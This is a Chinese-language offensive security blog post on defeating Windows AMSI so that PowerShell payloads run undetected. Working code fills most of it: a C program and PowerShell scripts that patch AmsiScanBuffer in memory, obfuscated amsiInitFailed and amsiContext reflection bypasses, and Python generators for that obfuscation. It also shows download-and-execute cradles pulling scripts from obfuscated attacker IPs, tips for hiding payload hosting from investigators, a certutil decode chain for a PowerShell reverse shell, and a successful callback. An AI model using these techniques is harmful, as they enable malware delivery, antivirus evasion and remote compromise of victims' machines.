powershell无文件特性,在实战中还是比较好用的

AMSI 允许服务和应用程序与已安装的反恶意软件进行通信。当系统中开始创建进程或者被申请内存,AMSI 就会处于挂钩状态,例如,Windows 脚本主机(WSH) 和PowerShell,以便对正在执行的内容进行去混淆处理和分析。此内容在执行之前被“捕获”并发送到反恶意软件解决方案。

https://github.com/PKRoma/ProcessHacker

观察
这里可以用Process Monitor观察一下
过滤规则如下

image.png
image.png

image.png
我们会发现当我们启动powershell的时候,便加载了amsi.dll

amsi本质上是一个dll,故它具有其导出函数
image.png

手动检测

  1. 调试器附加并定位AmsiScanBuffer函数

image.png

  1. 修补该函数让其直接返回

image.png

windows defender为例

在腾讯云windows自带的windows def

字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的 AmsiScanBuffer函数应该返回HRESULT类型值,这是一个整数值,用来表示操作是否成功

在函数执行过程中,待分析的内容会被发送到反恶意软件服务,后者会返回1到32762(含)之间的一个整数。整数值越大,则代表风险越高。如果证书大于或等于32762,那么就会将其判断为恶意数据,加以阻止。随后系统会根据返回的整数值来更新AMSI_RESULT变量值。

故可以看出amsi使用”基于字符串”的检测方式

  1. 使用replace去替换字符串内容

image.png

  1. 字符串断点+拼接

image.png

  1. 剩下可以通过编码方式
  • base64
  • XOR
  • HEX

内存补丁绕过技术

  • 创建一个powershell进程
  • 获取amsiscanbuffer函数地址
  • 修改函数内存空间属性
  • 修补函数执行体
  1. #include <Windows.h>
  2. #include <stdio.h>
  3. int main() {
  4. STARTUPINFOA si = {0};
  5. PROCESS_INFORMATION pi = { 0 };
  6. si.cb = sizeof(si);
  7. CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
  8. HMODULE hAmsi = LoadLibraryA("amsi.dll");
  9. LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
  10. Sleep(500);
  11. DWORD oldProtect;
  12. char patch = 0xc3;
  13. VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
  14. WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char),NULL);
  15. VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
  16. CloseHandle(pi.hProcess);
  17. CloseHandle(pi.hThread);
  18. FreeLibrary(hAmsi);
  19. return 0;
  20. }

powershell脚本如下:

  1. $Win32 = @"
  2. using System;
  3. using System.Runtime.InteropServices;
  4. public class Win32 {
  5. [DllImport("kernel32")]
  6. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  7. [DllImport("kernel32")]
  8. public static extern IntPtr LoadLibrary(string name);
  9. [DllImport("kernel32")]
  10. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
  11. }
  12. "@
  13. Add-Type $Win32
  14. $LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
  15. $Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
  16. [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]0)
  17. $Patch = [Byte[]] (0xc3, 0x90, 0x90)
  18. [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 3)

image.png

前提是要保证程序或者脚本不被查杀,否则起不到修补作用

  1. 使用CS生成一个ps1脚本

image.png
将其bases64编码

image.png

  1. $Encryption = @' '@.Replace('xxx','')
  2. ##Encryption可以多用replace进行替换混淆
  3. $Decryption = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Encryption))

将修补代码加到IEX之前,从而破坏AMSI

image.png
image.png

image.png

将样本托管GitHub,虽然虽不会被防病毒标记,但是在实战攻防中非常容易就被蓝队溯源出个人信息,这边推荐一个可以在公网上挂起文本并且合法的网站https://paste.ee/,也可以创建一个github小号进行利用

  1. IEX([Net.Webclient]::new().DownloadString("h%%%t%%%tp:%%%//10.212.2@@@@@02.188@@@@@:80@@@@@00/bypas%%%s.tx%%%t".Replace('@@@@@','').Replace('%%%','')))
  2. IEX ((new-object net.webclient).downloadstring("ht@@@@@tp://1@@@@@0@!#$%^&*()1.3@@@@@9.xx.xx8:7@!#$%^&*()77/tt**************s.tx**************t".Replace('@@@@@','').Replace('@!#$%^&*()','').Replace('**************',''))
  3. $webreq = [System.Net.WebRequest]::Create(‘0.0.0.0/1.ps1’)
  4. $resp=$webreq.GetResponse()
  5. $respstream=$resp.GetResponseStream()
  6. $reader=[System.IO.StreamReader]::new($respstream)
  7. $content=$reader.ReadToEnd()
  8. IEX($content)

AMSI强制报错

强制AMSI初始化失败(amsiInitFailed)将导致不会为当前进程启动扫描.目前微软已经开发了一个签名来防止更广泛的使用

  1. [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
  2. 原理已经被很多文章分析: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-loggi
  3. ng-evasion/,具体的小伙伴可以阅读以上文章,简单的说就是利用反射直接把判断是否要使用杀毒软件
  4. 进行扫描的变量始终改成false。这样AMSI就不会把我们的恶意脚本交给杀毒软件,而是直接返回
  5. AMSI_RESULT_NOT_DETECTED
  6. //混淆
  7. $w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
  8. $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
  9. $field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
  10. $field.SetValue($null,$true)
  11. //另外一个混淆
  12. //System.Management.Automation.AmsiUtils和amsiInitFailed的编码数据
  13. $a="5492868772801748688168747280728187173688878280688776828"
  14. $b="1173680867656877679866880867644817687416876797271"
  15. //对System.Management.Automation.AmsiUtils进行解码
  16. $c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
  17. $d=[Ref].Assembly.GetType($c)
  18. //对amsiInitFailed进行解码
  19. $e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
  20. $f=$d.GetField($e,'NonPublic,Static')
  21. //组合起来执行
  22. $f.SetValue($null,$true)
  1. payload1='System.Management.Automation.AmsiUtils'
  2. payload2='amsiInitFailed'
  3. key=29 #偏差是多少 比如这里是29
  4. payload=payload1+payload2
  5. result=''
  6. for i in payload:
  7. result+=str(ord(i)-key)#ASCII每个字符再减去key的值
  8. print('$a="'+result[0:len(result)//2]+'"')#分割,这里对半分的。注意在这里面的除法需要两个/
  9. print('$b="'+result[len(result)//2:]+'"')
  10. print('$c=[string](0..'+str(len(payload1)-1)+'|%{[char][int]('+str(key)+'+($a+$b).substring(($_*2),2))})-replace " "')#解码语句,应用到别的bypass场景或许也可以
  11. print("$d=[Ref].Assembly.GetType($c)")
  12. print('$e=[string]('+str(len(payload1))+".."+str(len(payload1)+len(payload2)-1)+' |%{[char][int]('+str(key)+'+($a+$b).substring(($_ * 2), 2))})-replace" "') #关键解码语句
  13. print("$f=$d.GetField($e,'NonPublic,Static')")
  14. print("$f.SetValue($null,$true)")payload1='System.Management.Automation.AmsiUtils'
  15. payload2='amsiInitFailed'
  16. key=29 #偏差是多少 比如这里是29
  17. payload=payload1+payload2
  18. result=''
  19. for i in payload:
  20. result+=str(ord(i)-key)#ASCII每个字符再减去key的值
  21. print('$a="'+result[0:len(result)//2]+'"')#分割,这里对半分的。注意在
  22. 这里面的除法需要两个/
  23. print('$b="'+result[len(result)//2:]+'"')
  24. print('$c=[string](0..'+str(len(payload1)-1)+'|%{[char][int]
  25. ('+str(key)+'+($a+$b).substring(($_*2),2))})-replace " "')#解码语
  26. 句,应用到别的bypass场景或许也可以
  27. print("$d=[Ref].Assembly.GetType($c)")
  28. print('$e=[string]
  29. ('+str(len(payload1))+".."+str(len(payload1)+len(payload2)-1)+'|%
  30. {[char][int]('+str(key)+'+($a+$b).substring(($_*2),2))})-replace
  31. " "')#关键解码语句
  32. print("$f=$d.GetField($e,'NonPublic,Static')")
  33. print("$f.SetValue($null,$true)")

image.png
image.png
image.png
amsiContext分配内存区域,并且由于”amsiSession”设置为Null将导致错误

  1. $mem=[System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
  2. [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
  3. //不免杀,因为Amsi标记了System.Management.Automation.AmsiUtils和amsiSession以及amsiContext字段,毕竟都带着amsi字眼

image.png
当然也要对其脚本进行混淆

  1. import sys
  2. def Cod(payload1,payload2,key):
  3. payload=payload1+payload2
  4. result=''
  5. for i in payload:
  6. result+=str(ord(i)-key)#ASCII每个字符再减去key的值
  7. print('$a="'+result[0:len(result)//2]+'"')#分割,这里对半分的。注意在这里面的除法需要两个/
  8. print('$b="'+result[len(result)//2:]+'"')
  9. print('$c=[string](0..'+str(len(payload1)-1)+'|%{[char][int]('+str(key)+'+($a+$b).substring(($_*2),2))})-replace " "')#解码语句,应用到别的bypass场景或许也可以
  10. print('$e=[string]('+str(len(payload1))+".."+str(len(payload1)+len(payload2)-1)+' |%{[char][int]('+str(key)+'+($a+$b).substring(($_ * 2), 2))})-replace" "') #关键解码语句
  11. if __name__ == '__main__':
  12. print("python main.py 混淆字符串1 混淆字符串2 偏移")
  13. print("python main.py System.Management.Automation.AmsiUtils Amsisession 30")
  14. if len(sys.argv)!=4:
  15. print("请按照规定输入")
  16. sys.exit(0)
  17. Cod(sys.argv[1],sys.argv[2],int(sys.argv[3]))

提醒

windows deference熟悉base64+IEX套路,最好将其敏感字符串进行单独的编码

上面是在powershell环境下免杀的
后发现在cmd下wd会监控
不过

  1. echo bases64命令 > 1.txt
  2. certutil -f -decode 1.txt 1.ps1
  3. powershell -f 1.ps1

base64我使用的是powershell的套接字代码,反弹powershell环境
不过猜测直接上线也可以

实战

382737acb06bebb98ff7c6f47e2e938.png
image.png

这里直接运用实战,发现可以直接绕过amsi的检测,成功上线